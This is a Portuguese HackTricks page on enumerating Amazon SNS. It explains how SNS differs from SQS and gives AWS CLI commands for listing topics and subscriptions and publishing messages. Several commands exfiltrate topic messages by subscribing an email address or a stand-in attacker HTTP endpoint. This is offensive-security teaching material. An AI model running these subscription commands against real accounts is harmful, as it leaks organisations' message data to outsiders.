AWS - SNS Enum

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SNS

O Amazon Simple Notification Service (Amazon SNS) é descrito como um serviço de mensagens totalmente gerenciado. Ele suporta tanto comunicação de aplicação para aplicação (A2A) quanto comunicação de aplicação para pessoa (A2P).

As principais características para comunicação A2A incluem mecanismos de publicação/inscrição (pub/sub). Esses mecanismos introduzem tópicos, cruciais para permitir mensagens baseadas em push, de muitos para muitos e de alto desempenho. Esse recurso é altamente vantajoso em cenários que envolvem sistemas distribuídos, microsserviços e arquiteturas serverless orientadas a eventos. Ao aproveitar esses tópicos, sistemas publicadores podem distribuir mensagens de forma eficiente para uma ampla gama de sistemas assinantes, facilitando um padrão de mensagens de fanout.

Diferença com SQS

SQS é um serviço baseado em fila que permite comunicação ponto a ponto, garantindo que as mensagens sejam processadas por um único consumidor. Ele oferece entrega de pelo menos uma vez, suporta filas padrão e FIFO, e permite retenção de mensagens para tentativas e processamento atrasado.
Por outro lado, SNS é um serviço baseado em publicação/inscrição, permitindo comunicação de um para muitos ao transmitir mensagens para múltiplos assinantes simultaneamente. Ele suporta vários endpoints de assinatura, como email, SMS, funções Lambda e HTTP/HTTPS, e fornece mecanismos de filtragem para entrega de mensagens direcionadas.
Enquanto ambos os serviços permitem desacoplamento entre componentes em sistemas distribuídos, o SQS foca na comunicação em fila, e o SNS enfatiza padrões de comunicação orientados a eventos e de fan-out.

Enumeração

bash
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

caution

Note que se o tópico for do tipo FIFO, apenas assinantes usando o protocolo SQS podem ser utilizados (HTTP ou HTTPS não podem ser usados).

Além disso, mesmo que o --topic-arn contenha a região, certifique-se de especificar a região correta em --region ou você receberá um erro que parece indicar que você não tem acesso, mas o problema é a região.

Acesso Não Autenticado

AWS - SNS Unauthenticated Enum

Escalação de Privilégios

AWS - SNS Privesc

Pós Exploração

AWS - SNS Post Exploitation

Persistência

AWS - SNS Persistence

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks